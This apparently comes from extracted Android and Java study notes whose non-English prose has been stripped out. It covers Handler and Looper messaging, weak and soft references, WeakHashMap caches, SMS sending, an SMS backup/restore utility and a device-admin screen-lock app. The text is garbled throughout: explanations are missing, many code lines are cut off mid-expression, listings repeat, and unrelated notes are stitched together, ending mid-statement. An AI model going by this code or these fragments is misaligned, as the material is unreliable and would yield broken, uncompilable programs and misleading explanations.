http://developer.android.com/reference/android/os/Handler.html#sendMessageAtTime(android.os.Message, long)
http://developer.android.com/reference/android/os/Handler.html#sendMessageDelayed(android.os.Message, long)


long)MQAPIhandler

Runnablemessage

postRunnable

message

	 View	Code

handlermessage

1.message.targethandler

loopermessage

handlerloop()

msg.target.dispatchMessage(m
sg);

2.postmessagecallback

Runnable

Handler
handler

dispatchMessage(Message

msg)

handleMessage(Message

msg)

	 View	Code

http://developer.android.com/reference/android/os/Handler.html#dispatchMessage(android.os.Message)
http://developer.android.com/reference/android/os/Message.html
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handleMessage(Message

msg)Runnablerun

handlerhandler

API

Handler
handler“”Handler

1.handlerMQ

														

2.handlerlooper

http://developer.android.com/reference/android/os/Handler.html#handleMessage(android.os.Message)
http://developer.android.com/reference/android/os/Message.html


androidUI android

looper (looperandroid)

handlerMQhandler

solutionactivityhandler

worker	threadworker

threadhandleractivityUI

()



sample

	 View	Code

	View	Code

handlerpost

RunnableLooper

Pipeline	Thread()

Android	Guts:	Intro	to

Loopers	and	Handlers

http://mindtherobot.com/blog/159/android-guts-intro-to-loopers-and-handlers/




	Message

messagetask

handlermessage

1.Messagepublic

Message.obtain()

2.messageint

Message.arg1

Message.arg2Bundle

3.message.what

message
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class	MyThread	extends
Thread	{
private	Looper	looper;

public	MyThread()	{

}
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public	void	run()	{
Looper.prepare();
h	=	new	Handler()	{
public	void
handleMessage(Message
msg)	{
System.out.println(Thread.currentThread().getName());
Looper.myLooper().quit();
}
};
Looper.myLooper().loop();
}
}
Handler
MessageQueueLooper
MyThreadHandler
Looper.getMainLooper()
HandlerUI
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2.	 String	str	=	new	String(
3.	 //,&nbsp;String

ReferenceQueue&nbsp;rq	=	new	ReferenceQueue();
4.	 //"hello"rq

//WeakReference
String 		

5.	 WeakReference&nbsp;wf	=	

	

2

	
							2	"hello"

	

					2"hello"str
WeakReference"hello"

	

			"hello"strnullWeakReference
get()"hello"

java

1.	 String	str	=	new	String(
①		

2.	 ReferenceQueue&nbsp;rq	=	
②&nbsp;		
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3.	 WeakReference&nbsp;wf	=	
③		

4.	 str=null;	//④		
5.	 //"hello" 		
6.	 System.gc();	//⑤		
7.	 System.gc();	//⑥		
8.	 String	str1=wf.get();	

⑦	"hello"str1
null		

9.	 Reference	ref=rq.poll();	
⑧		

				 ④3	"hello" ⑤
wf.get()	"hello"str1 ⑥rq.poll()
null	ReferenceQueuepoll()
null

	
					3	"hello"

	

				 ④"hello"System.gc()
	"hello""hello"
WeakReferenceReferenceQueue	
wf.get()nullrq.poll()WeakReference
4 ⑧	

java



1.	 package	test;		
2.	 		
3.	 import	java.lang.ref.*;		
4.	 import	java.util.*;		
5.	 		
6.	 class	Grocery	{		
7.	 				private	static	final
8.	 				//	dGrocery

80K 		
9.	 				private	double[]	d	=	
10.	 				private	String	id;		
11.	 		
12.	 				public	Grocery(String	id)	{		
13.	 								this.id	=	id;		
14.	 				}		
15.	 		
16.	 				public	String	toString()	{		
17.	 								return	id;		
18.	 				}		
19.	 		
20.	 				public	void	finalize()	{		
21.	 								System.out.println(
22.	 				}		
23.	 }		
24.	 		
25.	 public	class	References	{		
26.	 				private	static	ReferenceQueue	rq	=	
27.	 		
28.	 				public	static	void
29.	 								Reference	inq	=	rq.poll();		
30.	 								//	 		
31.	 								if	(inq	!=	null
32.	 												System.out.println(
33.	 				}		
34.	 		
35.	 				public	static	void
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36.	 								final	int	size	=	
37.	 								//	10

Grocery10 		
38.	 								Set	sa	=	new	HashSet();		
39.	 								for	(int	i	=	0
40.	 												SoftReference	ref	=	
41.	 												System.out.println(
42.	 												sa.add(ref);		
43.	 								}		
44.	 								System.gc();		
45.	 								checkQueue();		
46.	 								System.out.println(

------------------
------------------
--------------
");		

47.	 								//	10
Grocery10 		

48.	 								Set	wa	=	new	HashSet();		
49.	 								for	(int	i	=	0
50.	 												WeakReference	ref	=	
51.	 												System.out.println(
52.	 												wa.add(ref);		
53.	 								}		
54.	 								System.gc();		
55.	 								checkQueue();		
56.	 								System.out.println(

------------------
------------------
--------------
");		

57.	 								//	10
Grocery10 		

58.	 								Set	pa	=	new	HashSet();		
59.	 								for	(int	i	=	0
60.	 												PhantomReference	ref	=
61.	 												System.out.println(



62.	 												pa.add(ref);		
63.	 								}		
64.	 								System.gc();		
65.	 								checkQueue();		
66.	 				}		
67.	 }		

	
	

		4	"hello"

	

				References101010
Grocery		
Java

java

1.	 package	test;		
2.	 		
3.	 import	java.lang.ref.*;		
4.	 import	java.util.*;		
5.	 		
6.	 class	Grocery	{		
7.	 				private	static	final
8.	 				//	dGrocery

80K 		
9.	 				private	double[]	d	=	
10.	 				private	String	id;		
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11.	 		
12.	 				public	Grocery(String	id)	{		
13.	 								this.id	=	id;		
14.	 				}		
15.	 		
16.	 				public	String	toString()	{		
17.	 								return	id;		
18.	 				}		
19.	 		
20.	 				public	void	finalize()	{		
21.	 								System.out.println(
22.	 				}		
23.	 }		
24.	 		
25.	 public	class	References	{		
26.	 				private	static	ReferenceQueue	rq	=	
27.	 		
28.	 				public	static	void
29.	 								Reference	inq	=	rq.poll();		
30.	 								//	 		
31.	 								if	(inq	!=	null
32.	 												System.out.println(
33.	 				}		
34.	 		
35.	 				public	static	void
36.	 								final	int	size	=	
37.	 								//	10

Grocery10 		
38.	 								Set	sa	=	new	HashSet();		
39.	 								for	(int	i	=	0
40.	 												SoftReference	ref	=	
41.	 												System.out.println(
42.	 												sa.add(ref);		
43.	 								}		
44.	 								System.gc();		
45.	 								checkQueue();		
46.	 								System.out.println(



------------------
------------------
--------------
");		

47.	 								//	10
Grocery10 		

48.	 								Set	wa	=	new	HashSet();		
49.	 								for	(int	i	=	0
50.	 												WeakReference	ref	=	
51.	 												System.out.println(
52.	 												wa.add(ref);		
53.	 								}		
54.	 								System.gc();		
55.	 								checkQueue();		
56.	 								System.out.println(

------------------
------------------
--------------
");		

57.	 								//	10
Grocery10 		

58.	 								Set	pa	=	new	HashSet();		
59.	 								for	(int	i	=	0
60.	 												PhantomReference	ref	=
61.	 												System.out.println(
62.	 												pa.add(ref);		
63.	 								}		
64.	 								System.gc();		
65.	 								checkQueue();		
66.	 				}		
67.	 }		

	

					JavaMapWeakHashMap	



MapMapWeakHashMap

					MapCachemain()WeakHashMap
Keymain()Key

	

java

1.	 package	test;		
2.	 		
3.	 import	java.util.*;		
4.	 import	java.lang.ref.*;		
5.	 		
6.	 class	Key	{		
7.	 				String	id;		
8.	 		
9.	 				public	Key(String	id)	{		
10.	 								this.id	=	id;		
11.	 				}		
12.	 				public	String	toString()	{		
13.	 								return	id;		
14.	 				}		
15.	 				public	int	hashCode()	{		
16.	 								return	id.hashCode();		
17.	 				}		
18.	 				public	boolean	equals(Object	r)	{		
19.	 								return	(r	instanceof
20.	 				}		
21.	 				public	void	finalize()	{		
22.	 								System.out.println(
23.	 				}		
24.	 }		
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25.	 class	Value	{		
26.	 				String	id;		
27.	 				public	Value(String	id)	{		
28.	 								this.id	=	id;		
29.	 				}		
30.	 				public	String	toString()	{		
31.	 								return	id;		
32.	 				}		
33.	 				public	void	finalize()	{		
34.	 								System.out.println(
35.	 				}		
36.	 }		
37.	 		
38.	 public	class	MapCache	{		
39.	 				public	static	void
40.	 								int	size	=	1000

size 		
41.	 								if	(args.length	>	
42.	 												size	=	Integer.parseInt(args[
43.	 								Key[]	keys	=	new

		
44.	 								WeakHashMap	whm	=	
45.	 								for	(int	i	=	0
46.	 												Key	k	=	new
47.	 												Value	v	=	
48.	 												if	(i	%	3	==	
49.	 																keys[i]	=	k;	

Key&nbsp; 		
50.	 												whm.put(k,	v);	

Key 		
51.	 								}		
52.	 								//	 		
53.	 								System.gc();//	

CPU 		
54.	 								Thread.sleep(8000
55.	 				}		
56.	 }		



	

java

1.	 Finalizing	Key	137		
2.	 Finalizing	Key	368		
3.	 Finalizing	Key	415		
4.	 Finalizing	Key	470		
5.	 Finalizing	Key	514		
6.	 Finalizing	Key	557		
7.	 Finalizing	Key	601		
8.	 Finalizing	Key	643		
9.	 Finalizing	Key	686		
10.	 Finalizing	Key	730		
11.	 Finalizing	Key	775		
12.	 Finalizing	Key	817		
13.	 Finalizing	Key	862		
14.	 Finalizing	Key	907		
15.	 Finalizing	Key	952		
16.	 Finalizing	Key	995		
17.	 Finalizing	Key	998		
18.	 Finalizing	Key	997		

				System.gc()Keyid3Key
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7

				7.1	
				Java	(WEB
“”)	:Java;	
Java		
	Java

				7.2	
				SoftReferenceJavaJava	
SoftReferenceJavaJava
SoftReference	get()JavaJava
get()null

	:

java

1.	 MyObject	aRef	=	new	MyObject();			
2.	 SoftReference	aSoftRef=

					MyObjectSoftReference
aReferenceMyObject
					aReferenceMyObject:
					aRef	=	null;	
					MyObjectSoftReference
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JavaJava:	
OutOfMemoryError	“”
:
					MyObject	anotherRef=
(MyObject)aSoftRef.get();	
					get()null

					7.3	ReferenceQueueSoftReference
					JavaSoftReferenceJava
	SoftReferenceget()null,
SoftReference	SoftReference
java.lang.refReferenceQueue
SoftReferenceReferenceQueue
SoftReference:

java

1.	 ReferenceQueue	queue	=	
2.	 SoftReference	ref=new	SoftReference(aMyObject,&nbsp;queue);		

				SoftReferenceaMyOhjectref
SoftReference	ReferenceQueue
ReferenceQueueReference
ReferenceReferenceQueue
poll()	Reference
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				ReferenceQueuepoll()
null,ReferenceSoftReference
SoftReference:

java

1.	 SoftReference	ref	=	null
2.	 while	((ref	=	(EmployeeRef)	q.poll())	!=	
3.	 				//	ref				 		
4.	 }				

					ReferenceQueueJava

					7.4Java
	Java2Employee:

java

1.	 public	class	Employee	{						
2.	 				private	String	id;

				 		
3.	 				private	String	name;

				 		
4.	 				private	String	department;

				 		
5.	 				private	String	Phone;

				 		
6.	 				private	int	salary;
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7.	 				private	String	origin;

				 		
8.	 							
9.	 				//					 		
10.	 				public	Employee(String	id)	{						
11.	 							this.id	=	id;						
12.	 							getDataFromlnfoCenter();						
13.	 				}						
14.	 							
15.	 				//					 		
16.	 				private	void	getDataFromlnfoCenter()	{						
17.	 							//	

						
18.	 							//	name

departmentplone
salary				 		

19.	 							//	origin
"From	DataBase"				 		

20.	 				}						
21.	 ……						

	

				Employee
Employee:

	

java

1.	 import	java.lang.ref.ReferenceQueue;						
2.	 import	java.lang.ref.SoftReference;						
3.	 import	java.util.Hashtable;						
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4.	 public	class	EmployeeCache	{						
5.	 				static	private	EmployeeCache	cache;

Cache				 		
6.	 				private	Hashtable	employeeRefs;

Cache				 		
7.	 				private	ReferenceQueue	q;

Reference				 		
8.	 							
9.	 				//	SoftReference

				 		
10.	 				//	HashMapkey

				 		
11.	 				private	class	EmployeeRef	
12.	 							private	String	_key	=	
13.	 							
14.	 							public	EmployeeRef(Employee	em,	ReferenceQueue	q)	{						
15.	 											super(em,	q);						
16.	 											_key	=	em.getID();						
17.	 							}						
18.	 				}						
19.	 							
20.	 				//					 		
21.	 				private	EmployeeCache()	{						
22.	 							employeeRefs	=	new	Hashtable();						
23.	 							q	=	new	ReferenceQueue();						
24.	 				}						
25.	 							
26.	 				//					 		
27.	 				public	static	EmployeeCache	getInstance()	{						
28.	 							if	(cache	==	null)	{						
29.	 											cache	=	new	EmployeeCache();						
30.	 							}						
31.	 							return	cache;						
32.	 				}						
33.	 							
34.	 				//	Employee				 		
35.	 				private	void	cacheEmployee(Employee	em)	{						



36.	 							cleanCache();//	
						

37.	 							EmployeeRef	ref	=	new
38.	 							employeeRefs.put(em.getID(),	ref);						
39.	 				}						
40.	 							
41.	 				//	IDEmployee

						
42.	 				public	Employee	getEmployee(String	ID)	{						
43.	 							Employee	em	=	null;						
44.	 							//	Employee

				 		
45.	 							if	(employeeRefs.containsKey(ID))	{						
46.	 											EmployeeRef	ref	=	(EmployeeRef)	employeeRefs.get(ID);						
47.	 											em	=	(Employee)	ref.get();						
48.	 							}						
49.	 							//	null

				 		
50.	 							//					 		
51.	 							if	(em	==	null)	{						
52.	 											em	=	new	Employee(ID);						
53.	 											System.out.println(
54.	 											this.cacheEmployee(em);						
55.	 							}						
56.	 							return	em;						
57.	 				}						
58.	 							
59.	 				//	Employee

EmployeeRef				 		
60.	 				private	void	cleanCache()	{						
61.	 							EmployeeRef	ref	=	null
62.	 							while	((ref	=	(EmployeeRef)	q.poll())	!=	
63.	 											employeeRefs.remove(ref._key);						
64.	 							}						
65.	 				}						
66.	 							
67.	 				//	Cache				 		



68.	 				public	void	clearCache()	{						
69.	 							cleanCache();						
70.	 							employeeRefs.clear();						
71.	 							System.gc();						
72.	 							System.runFinalization();						
73.	 				}						
74.	 }						

	

	

	8
					8.1	Map	
					Maptransient	object
	SocketSocket
Socket		Map	
SocketManager		Map	

java

1.	 public	class	SocketManager	{						
2.	 				private	Map<SOCKET,USER>	m	=	

();						
3.	 							
4.	 				public	void	setUser(Socket	s,	User	u)	{						
5.	 							m.put(s,	u);						
6.	 				}						
7.	 							
8.	 				public	User	getUser(Socket	s)	{						
9.	 							return	m.get(s);						
10.	 				}						
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11.	 							
12.	 				public	void	removeUser(Socket	s)	{						
13.	 							m.remove(s);						
14.	 				}						
15.	 }						

					Map	Socket	
User		Map		Socket		User	
		Socket	

					8.2WeakHashMap
					JavaMap—WeakHashMapMap
	MapWeakHashMap
Map
				MapCachemain()WeakHashMap
Keymain()Key

	

java

1.	 import	java.util.WeakHashMap;						
2.	 							
3.	 class	Element	{						
4.	 				private	String	ident;						
5.	 							
6.	 				public	Element(String	id)	{						
7.	 							ident	=	id;						
8.	 				}						
9.	 							
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10.	 				public	String	toString()	{						
11.	 							return	ident;						
12.	 				}						
13.	 							
14.	 				public	int	hashCode()	{						
15.	 							return	ident.hashCode();						
16.	 				}						
17.	 							
18.	 				public	boolean	equals(Object	obj)	{						
19.	 							return	obj	instanceof
20.	 				}						
21.	 										
22.	 				protected	void	finalize()

{						
23.	 							System.out.println("Finalizing	"
24.	 				}						
25.	 }						
26.	 							
27.	 class	Key	extends	Element{						
28.	 				public	Key(String	id)

{						
29.	 							super(id);						
30.	 				}						
31.	 }						
32.	 							
33.	 class	Value	extends	Element{						
34.	 				public	Value	(String	id)

{						
35.	 							super(id);						
36.	 				}						
37.	 }						
38.	 							
39.	 public	class	CanonicalMapping	{						
40.	 				public	static	void	main(String[]	args)

{						
41.	 							int	size=1000;						
42.	 							Key[]	keys=new	Key[size];						



43.	 							WeakHashMap	map=new	WeakHashMap();						
44.	 							for(int	i=0;i<	SPAN>				
45.	 											Key	k=new	Key(Integer.toString(i));						
46.	 											Value	v=new	Value(Integer.toString(i));						
47.	 											if(i%3==0)						
48.	 														keys[i]=k;						
49.	 											map.put(k,	v);						
50.	 							}						
51.	 							System.gc();						
52.	 				}						
53.	 }						

	

	

					System.gc()Keyid3Key

				8.3	WeakHashMap	
					SocketManager	
WeakHashMap		HashMap	
SocketManager
WeakHashMap	SocketManager

java

1.	 public	class	SocketManager	{						
2.	 				private	Map	m	=	new
3.	 										
4.	 				public	void	setUser(Socket	s,	User	u)	{						
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	-	3
	-	7

+

6 0

()

5.	 								m.put(s,	u);						
6.	 				}						
7.	 				public	User	getUser(Socket	s)	{						
8.	 								return	m.get(s);						
9.	 				}						
10.	 }						

	

					8.4
					WeakHashMap	get()	
WeakReference.get()		null	
Map		Map	Map	
	
		GC	
					WeakHashMap	
expungeStaleEntries()		Map	

:	 android
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Posted	on	2010-06-10	22:12	feisky	(1843)	(1)		

intent-startActivityURI" smsto:num" action
Intent.ACTION_SENDTO

Uri	uri	=	Uri.parse("smsto:5554");

Intent	it	=	new
Intent(Intent.ACTION_SENDTO,	uri);

it.putExtra("sms_body",	" ");

startActivity(it);								

	

	

SmsManager

EditText	num=(EditText)findViewById(R.id.num);

																EditText	content=
(EditText)findViewById(R.id.content);

																String	mobile=num.getText().toString();

																String	smstext=content.getText().toString();

																//SmsManager

																SmsManager	sms=SmsManager.getDefault();

																//70

																List<String>	texts=sms.divideMessage(smstext);

																//

http://www.cnblogs.com/feisky/archive/2010/06/10/1755914.html
http://www.cnblogs.com/feisky/
http://www.cnblogs.com/feisky/admin/EditPosts.aspx?postid=1755914
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																for(String	text:texts)
																{

																				sms.sendTextMessage(mobile,	null,	text,	null,
null);
																}																

																//

																Toast.makeText(SendSMS.this,	"",
Toast.LENGTH_LONG).show();

Send

SMS

<uses-permission
android:name="android.permission.SEND_SMS"/>

SmsManager

SDK Manages	SMS	operations	such	as	sending	data,	text,
and	pdu	SMS	messages.	Get	this	object	by	calling	the	static



method	SmsManager.getDefault().

public	void	sendTextMessage	(String	destinationAddress,
String	scAddress,	String	text,	PendingIntent	sentIntent,
PendingIntent	deliveryIntent)

	

destinationAddress	

scAddress	null

sentIntent	PendingIntent

deliveryIntent	PendingIntentpduextended	data	("pdu")

	IllegalArgumentException	

public	ArrayList<String>	divideMessage	(String	text)

70

text				the	original	message.	Must	not	be	null.

an	ArrayList	of	strings	that,	in	order,	comprise	the	original
message

sendDataMessage	Data

sendMultipartTextMessagedivideMessage

	

URI"tel:num"action Intent.ACTION_CALL

EditText	edit=(EditText)findViewById(R.id.DialEdit);

String	num=edit.getText().toString();



if((num!=null)&&(!"".equals(num.trim())))
{

Intent	intent=new
Intent(Intent.ACTION_CALL,Uri.parse("tel:"+num));

																				startActivity(intent);

}

<uses-permission
android:name="android.permission.SEND_SMS"/>

	

	

	



1.android	emulatorandroid	emulator	(5554)5554

	

2.telnet	localhost	5554android	console

Android	Console:	type	'help'	for	a	list	of	commands

OK

gsm	<call|accept|busy|cancel|data|hold|list|voice|status>

	

gsm	call	<>

gsm	call	15555218135

sms	send	<senderPhoneNumber>	<textmessage>

sms	send	<>	<>

sms	send	15555218135	hello

15555218135

[]GPRS	SIM300
[]GPRS	SIM300
GPRS
Android
Android
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1pull
else	if	("title".equals(tagName))	{
																								//	String	getText	=	parser.getText();	//	
																								//	String	nextTxt	=	parser.nextText();//	getText()
																								//	System.out.println("getText--"	+	getText);
																								//	System.out.println("nextTxt--"	+	nextTxt);
																								newsInfo.setTitle(parser.nextText());
parsr.nextText(),

2( ProgressBar)



a	
<FrameLayout
								android:layout_width="match_parent"
								android:layout_height="match_parent"	>
								<LinearLayout
												android:id="@+id/ll_loading"
												android:layout_width="fill_parent"
												android:layout_height="fill_parent"
												android:gravity="center"
												android:orientation="vertical"
												android:visibility="invisible"	>
												<ProgressBar
																android:layout_width="wrap_content"
																android:layout_height="wrap_content"	/>
												<TextView
																android:layout_width="wrap_content"
																android:layout_height="wrap_content"
																android:text="..." 	/>
								</LinearLayout>
								<ListView
												android:id="@+id/lv"
												android:layout_width="match_parent"
												android:layout_height="match_parent"	>
								</ListView>
</FrameLayout>

b)	

1 View.VISIBLE
public	void	run()	{
					//	 progressbar
					ll_loading.setVisibility(View.VISIBLE);
							......
}
2UI
public	void	handleMessage(Message	msg)	{
			super.handleMessage(msg);



			//	 uiinvisible
			ll_loading.setVisibility(View.INVISIBLE);
				......
}

	

wiz:open_attachment?guid=96975c25-9cbc-4bb0-b7d0-943d22cfb056


<?xml	version="1.0"	encoding=	"utf-8"?>
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="fill_parent"
				android:layout_height="fill_parent"
				android:orientation="vertical"	>

				<TextView
								android:layout_width="fill_parent"



								android:layout_height="wrap_content"
								android:text="@string/title"
								android:textSize="15dip"
								/>

				<EditText
								android:id="@+id/et_result"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"	>

								<requestFocus	/>
				</EditText	>
							<TableLayout
										xmlns:android="http://schemas.android.com/apk/res/android"
							android:layout_width="fill_parent"
													android:layout_height="fill_parent"
										>
										<TableRow>
														<Button
																		android:id="@+id/bt7"
																		android:layout_width="wrap_content"
																		android:layout_height="wrap_content"
																		android:text="7"
																		android:textSize="35dip"
																		android:onClick="click"
																		/>
														<Button



																	android:id="@+id/bt8"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="8"
																	android:textSize="35dip"
																	android:onClick="click"
																	/>
															<Button
																	android:id="@+id/bt9"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="9"
																	android:textSize="35dip"
																	android:onClick="click"
																	/>
															<Button
																	android:id="@+id/bt_divide"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="/"
																	android:textSize="35dip"
																	android:onClick="click"
																	/>
									</TableRow>
									<TableRow>
																<Button
																	android:id="@+id/bt4"



																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="4"
																	android:textSize="35dip"
																	android:onClick="click"
																	/>
																			<Button
																	android:id="@+id/bt5"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="5"
																	android:textSize="35dip"
																	android:onClick="click"
																	/>
																			<Button
																	android:id="@+id/bt6"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="6"
																	android:textSize="35dip"
																	android:onClick="click"
																	/>
																			<Button
																	android:id="@+id/bt_multiply"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="*"



																	android:textSize="35dip"
																	android:onClick="click"
																	/>
													</TableRow>
													<TableRow>
																			<Button
																	android:id="@+id/bt1"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="1"
																	android:textSize="35dip"
																	android:onClick="click"
																	/>
																			<Button
																	android:id="@+id/bt2"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="2"
																	android:textSize="35dip"
																	android:onClick="click"
																	/>
																			<Button
																	android:id="@+id/bt3"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="3"
																	android:textSize="35dip"



																	android:onClick="click"
																	/>
																			<Button
																	android:id="@+id/bt_dot"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="."
																	android:textSize="35dip"
																	android:onClick="click"
																	/>
												</TableRow>
												<TableRow>
																			<Button
																	android:id="@+id/bt0"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="0"
																	android:textSize="35dip"
																	android:onClick="click"
																	/>
																			<Button
																	android:id="@+id/bt_equal"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="="
																	android:textSize="35dip"
																	android:onClick="click"



																	/>
																			<Button
																	android:id="@+id/bt_sub"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="-"
																	android:textSize="35dip"
																	android:onClick="click"
																	/>
																			<Button
																	android:id="@+id/bt_add"
																	android:layout_width="wrap_content"
																	android:layout_height="wrap_content"
																	android:text="+"
																	android:textSize="35dip"
																	android:onClick="click"
																	/>
										</TableRow>
							</TableLayout>
</LinearLayout>
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package	cn.zengfansheng.smsbackuprestore;

	

import	java.io.File;

import	java.io.FileInputStream;

import	java.io.FileOutputStream;

import	java.io.IOException;

import	java.io.InputStream;

import	java.io.OutputStream;

import	java.util.ArrayList;

import	java.util.List;

	

import	org.xmlpull.v1.XmlPullParser;

import	org.xmlpull.v1.XmlPullParserException;

import	org.xmlpull.v1.XmlSerializer;

	

import	android.content.ContentResolver;

import	android.content.ContentValues;

import	android.content.Context;

import	android.database.Cursor;

import	android.net.Uri;

import	android.util.Xml;

	

public	class	SmsUtils	{

	

				/**

					*	1

					*	@param	context	

					*	@param	databasePath	

					*	@return	List

					*/

				public	static	List<SmsInfo>	backupToList(Context	context,	String

databasePath)	{

	

								List<SmsInfo>	smsInfos	=	new	ArrayList<SmsInfo>();

	

								ContentResolver	resolver	=	context.getContentResolver();

								Uri	uri	=	Uri.parse("content://sms");

	

								Cursor	cursor	=	resolver.query(uri,	null,	null,	null,	null);

	

								while	(cursor.moveToNext())	{

	

												String	address	=

cursor.getString(cursor.getColumnIndex("address"));

												long	date	=	cursor.getLong(cursor.getColumnIndex("date"));

												int	type	=	cursor.getInt(cursor.getColumnIndex("type"));

												String	body	=	cursor.getString(cursor.getColumnIndex("body"));

	

												SmsInfo	smsInfo	=	new	SmsInfo(address,	body,	type,	date);



												smsInfos.add(smsInfo);

								}

								cursor.close();

								return	smsInfos;

				}

	

				/**

					*	2xml

					*	@param	context

					*	@param	databasePath

					*	@throws	IOException

					*	@throws	IllegalStateException

					*	@throws	IllegalArgumentException

					*/

				public	static	void	backupToXml(Context	context,	String	databasePath,

												String	backupPath)	throws	IllegalArgumentException,

												IllegalStateException,	IOException	{

								List<SmsInfo>	smsInfos	=	backupToList(context,	databasePath);

	

								//	1xml

								XmlSerializer	serializer	=	Xml.newSerializer();

	

								//	2xml

								File	file	=	new	File(backupPath);

								OutputStream	out	=	new	FileOutputStream(file	);

								serializer.setOutput(out,	"utf-8");

								serializer.setPrefix(null,	null);

	

								serializer.startDocument("utf-8",	true);

								serializer.startTag(null,	"smss");

								//	3xml

								for	(SmsInfo	smsInfo	:	smsInfos)	{

												serializer.startTag(null,	"sms");

	

												serializer.startTag(null,	"address");

												serializer.text(smsInfo.getAddress());

												serializer.endTag(null,	"address");

	

												serializer.startTag(null,	"date");

												serializer.text(String.valueOf(smsInfo.getDate()));

												serializer.endTag(null,	"date");

	

												serializer.startTag(null,	"type");

												serializer.text(String.valueOf(smsInfo.getType()));

												serializer.endTag(null,	"type");

	

												serializer.startTag(null,	"body");

												serializer.text(smsInfo.getBody());

												serializer.endTag(null,	"body");

	

												serializer.endTag(null,	"sms");

								}

								serializer.endTag(null,	"smss");

								serializer.endDocument();

				}



	

				/**

					*	3xmllist

					*	@param	context

					*	@param	restorePath

					*	@return

					*	@throws	XmlPullParserException

					*	@throws	IOException

					*/

				public	static	List<SmsInfo>	readXmlToList(Context	context,

												String	restorePath)	throws	XmlPullParserException,	IOException	{

	

								XmlPullParser	parser	=	Xml.newPullParser();

	

								File	file	=	new	File(restorePath);

								InputStream	in	=	new	FileInputStream(file);

								parser.setInput(in,	"utf-8");

	

								List<SmsInfo>	smsInfos	=	null;

								SmsInfo	smsInfo	=	null;

								int	eventType	=	parser.getEventType();

								while	(eventType	!=	XmlPullParser.END_DOCUMENT)	{

	

												String	name	=	parser.getName();

												switch	(eventType)	{

												case	XmlPullParser.START_TAG:

																if	("smss".equals(name))	{

																				smsInfos	=	new	ArrayList<SmsInfo>();

																}	else	if	("sms".equals(name))	{

																				smsInfo	=	new	SmsInfo();

																}	else	if	("address".equals(name))	{

																				String	address	=	parser.nextText();

																				smsInfo.setAddress(address);

																}else	if("date".equals(name))	{

																				String	date	=	parser.nextText();

																				smsInfo.setDate(Long.parseLong(date.toString()));

																}else	if("type".equals(name))	{

																				String	type	=	parser.nextText();

																				smsInfo.setType(Integer.parseInt(type.toString()));

																}else	if("body".equals(name))	{

																				String	body	=	parser.nextText();

																				smsInfo.setBody(body);

																}

																break;

	

												case	XmlPullParser.END_TAG:

																if	("sms".equals(name))	{

																				smsInfos.add(smsInfo);

																}

																break;

												}

												eventType	=	parser.next();

								}

								return	smsInfos;

				}



	

				/**

					*	4

					*	@param	context	

					*	@param	restorePath	xml

					*	@throws	XmlPullParserException

					*	@throws	IOException

					*/

				public	static	void	restore(Context	context,	String	restorePath)

												throws	XmlPullParserException,	IOException	{

								//	1xml

								List<SmsInfo>	smsInfos	=	readXmlToList(context,	restorePath);

	

								//	2

								for	(SmsInfo	smsInfo	:	smsInfos)	{

	

												ContentResolver	resolver	=	context.getContentResolver();

												Uri	uri	=	Uri.parse("content://sms");

												ContentValues	values	=	new	ContentValues();

												values.put("address",	smsInfo.getAddress());

												values.put("date",	smsInfo.getDate());

												values.put("type",	smsInfo.getType());

												values.put("body",	smsInfo.getBody());

												resolver.insert(uri,	values);

								}

				}

}



package	cn.zengfansheng.screenlock;

	

import	android.app.Activity;

import	android.app.admin.DevicePolicyManager;

import	android.content.ComponentName;

import	android.content.Context;

import	android.content.Intent;

import	android.net.Uri;

import	android.os.Bundle;

import	android.view.View;

import	android.view.View.OnClickListener;

import	android.widget.Button;

	

public	class	MainActivity	extends	Activity	implements	OnClickListener	{

	

				private	static	final	int	REQUEST_CODE_ENABLE_ADMIN	=	110;

	

				private	Button	btn_screen_lock_on;

				private	Button	btn_screen_lock_off;

				private	Button	btn_screen_lock_uninstall;

				private	Button	btn_wipe_data;

	

				private	DevicePolicyManager	dpManager;

	

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_main);

	

								btn_screen_lock_on	=	(Button)	this.findViewById(R.id.btn_screen_lock_on);

								btn_screen_lock_off	=	(Button)	this.findViewById(R.id.btn_screen_lock_off);

								btn_screen_lock_uninstall	=	(Button)	this.findViewById(R.id.btn_screen_lock_uninstall);

								btn_wipe_data	=	(Button)	this.findViewById(R.id.btn_wipe_data);

	

								dpManager	=	(DevicePolicyManager)	this.getSystemService(Context.DEVICE_POLICY_SERVICE);

	

								btn_screen_lock_on.setOnClickListener(this);

								btn_screen_lock_off.setOnClickListener(this);

								btn_screen_lock_uninstall.setOnClickListener(this);

								btn_wipe_data.setOnClickListener(this);

				}

				@Override

				public	void	onClick(View	v)	{

								switch	(v.getId())	{

								case	R.id.btn_wipe_data:

												wipedata();

												break;

								case	R.id.btn_screen_lock_on:

												screenOff();



												//	System.out.println("~~~");

												break;

								case	R.id.btn_screen_lock_off:

												enableSceenLock();

												System.out.println("~~~" );

												break;

								case	R.id.btn_screen_lock_uninstall:

												uninstall();

												System.out.println("~~~" );

												break;

								}

				}

	

				/**

					*	a

					*	@return

					*/

				private	boolean	isActiveAdmin()	{

								ComponentName	who	=	new	ComponentName(this,	ScreenLockDeviceAdminReceiver.

								return	dpManager.isAdminActive(who);

				}

	

				/**

					*	b

					*/

				public	void	activeAdminDevice()	{

								Intent	intent	=	new	Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);

								ComponentName	who	=	new	ComponentName(this,	ScreenLockDeviceAdminReceiver.

